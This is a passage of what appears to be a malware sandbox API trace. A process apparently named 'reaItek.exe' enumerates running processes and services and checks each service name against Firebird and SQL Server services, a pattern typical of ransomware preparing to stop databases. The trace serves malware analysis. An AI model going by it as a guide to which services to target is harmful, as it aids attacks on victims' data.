returned 1 [0112.354] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0112.354] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0112.355] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0112.355] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0112.355] lstrlenW (lpString="blademcdonald.exe") returned 17 [0112.355] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0112.356] lstrlenW (lpString="courage.exe") returned 11 [0112.356] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0112.357] lstrlenW (lpString="pearl.exe") returned 9 [0112.357] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0112.357] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0112.358] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0112.358] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0112.358] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0112.359] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0112.359] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0112.360] lstrlenW (lpString="dome.exe") returned 8 [0112.360] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0112.360] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0112.360] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0112.361] lstrlenW (lpString="paying.exe") returned 10 [0112.361] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0112.362] lstrlenW (lpString="emission.exe") returned 12 [0112.362] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0112.362] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0112.362] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0112.363] lstrlenW (lpString="charter.exe") returned 11 [0112.363] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0112.364] lstrlenW (lpString="nickel.exe") returned 10 [0112.364] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0112.365] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0112.365] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0112.366] lstrlenW (lpString="wrist.exe") returned 9 [0112.366] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0112.373] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0112.373] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0112.374] lstrlenW (lpString="neck.exe") returned 8 [0112.374] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0112.374] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0112.374] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0112.375] lstrlenW (lpString="dllhost.exe") returned 11 [0112.375] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.376] lstrlenW (lpString="taskhostw.exe") returned 13 [0112.376] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.377] lstrlenW (lpString="svchost.exe") returned 11 [0112.377] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0112.377] lstrlenW (lpString="reaItek.exe") returned 11 [0112.378] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0112.378] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0112.378] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0112.379] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0112.379] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0112.380] lstrlenW (lpString="conhost.exe") returned 11 [0112.380] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0112.381] lstrlenW (lpString="cmd.exe") returned 7 [0112.381] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0112.382] lstrlenW (lpString="conhost.exe") returned 11 [0112.382] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0112.383] lstrlenW (lpString="sppsvc.exe") returned 10 [0112.383] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0112.383] CloseHandle (hObject=0x2f4) returned 1 [0112.383] Sleep (dwMilliseconds=0x1f4) [0112.888] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fee08 [0112.889] EnumServicesStatusExW (in: hSCManager=0x5fee08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0112.889] GetLastError () returned 0xea [0112.889] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x617720 [0112.889] EnumServicesStatusExW (in: hSCManager=0x5fee08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x617720, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x617720, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0112.890] CloseServiceHandle (hSCObject=0x5fee08) returned 1 [0112.890] lstrlenW (lpString="Appinfo") returned 7 [0112.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0112.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0112.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0112.890] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0112.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0112.890] lstrlenW (lpString="AppXSvc") returned 7 [0112.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0112.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0112.890] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0112.890] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0112.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0112.890] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0112.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0112.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0112.890] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0112.890] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0112.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0112.891] lstrlenW (lpString="Audiosrv") returned 8 [0112.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0112.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0112.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0112.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0112.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0112.891] lstrlenW (lpString="BFE") returned 3 [0112.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0112.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0112.891] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0112.891] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0112.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0112.891] lstrlenW (lpString="BITS") returned 4 [0112.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0112.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0112.891] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0112.891] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0112.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0112.891] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0112.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0112.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0112.891] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0112.891] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0112.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0112.891] lstrlenW (lpString="CDPSvc") returned 6 [0112.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0112.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0112.891] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0112.891] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0112.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0112.892] lstrlenW (lpString="ClickToRunSvc") returned 13 [0112.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0112.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0112.892] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0112.892] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0112.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0112.892] lstrlenW (lpString="ClipSVC") returned 7 [0112.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0112.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0112.892] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0112.892] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0112.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0112.892] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0112.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0112.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0112.892] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0112.892] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0112.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0112.892] lstrlenW (lpString="CryptSvc") returned 8 [0112.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0112.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0112.892] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0112.892] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0112.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0112.892] lstrlenW (lpString="DcomLaunch") returned 10 [0112.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0112.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0112.892] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0112.893] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0112.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0112.893] lstrlenW (lpString="DeviceAssociationService") returned 24 [0112.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0112.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0112.893] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0112.893] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0112.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0112.893] lstrlenW (lpString="Dhcp") returned 4 [0112.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0112.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0112.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0112.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0112.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0112.893] lstrlenW (lpString="Dnscache") returned 8 [0112.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0112.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0112.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0112.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0112.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0112.893] lstrlenW (lpString="DoSvc") returned 5 [0112.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0112.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0112.893] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0112.893] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0112.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0112.893] lstrlenW (lpString="DPS") returned 3 [0112.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0112.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0112.893] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0112.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0112.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0112.894] lstrlenW (lpString="DusmSvc") returned 7 [0112.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0112.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0112.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0112.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0112.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0112.894] lstrlenW (lpString="EventLog") returned 8 [0112.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0112.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0112.894] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0112.894] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0112.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0112.894] lstrlenW (lpString="EventSystem") returned 11 [0112.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0112.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0112.894] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0112.894] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0112.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0112.894] lstrlenW (lpString="FontCache") returned 9 [0112.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0112.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0112.894] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0112.894] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0112.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0112.894] lstrlenW (lpString="gpsvc") returned 5 [0112.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0112.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0112.895] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0112.895] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0112.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0112.895] lstrlenW (lpString="iphlpsvc") returned 8 [0112.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0112.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0112.895] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0112.895] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0112.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0112.895] lstrlenW (lpString="KeyIso") returned 6 [0112.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0112.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0112.895] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0112.895] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0112.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0112.895] lstrlenW (lpString="LanmanServer") returned 12 [0112.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0112.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0112.895] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0112.895] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0112.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0112.895] lstrlenW (lpString="LanmanWorkstation") returned 17 [0112.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0112.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0112.895] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0112.895] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0112.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0112.895] lstrlenW (lpString="lfsvc") returned 5 [0112.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0112.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0112.896] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0112.896] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0112.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0112.896] lstrlenW (lpString="LicenseManager") returned 14 [0112.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0112.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0112.896] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0112.896] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0112.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0112.896] lstrlenW (lpString="lmhosts") returned 7 [0112.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0112.896] 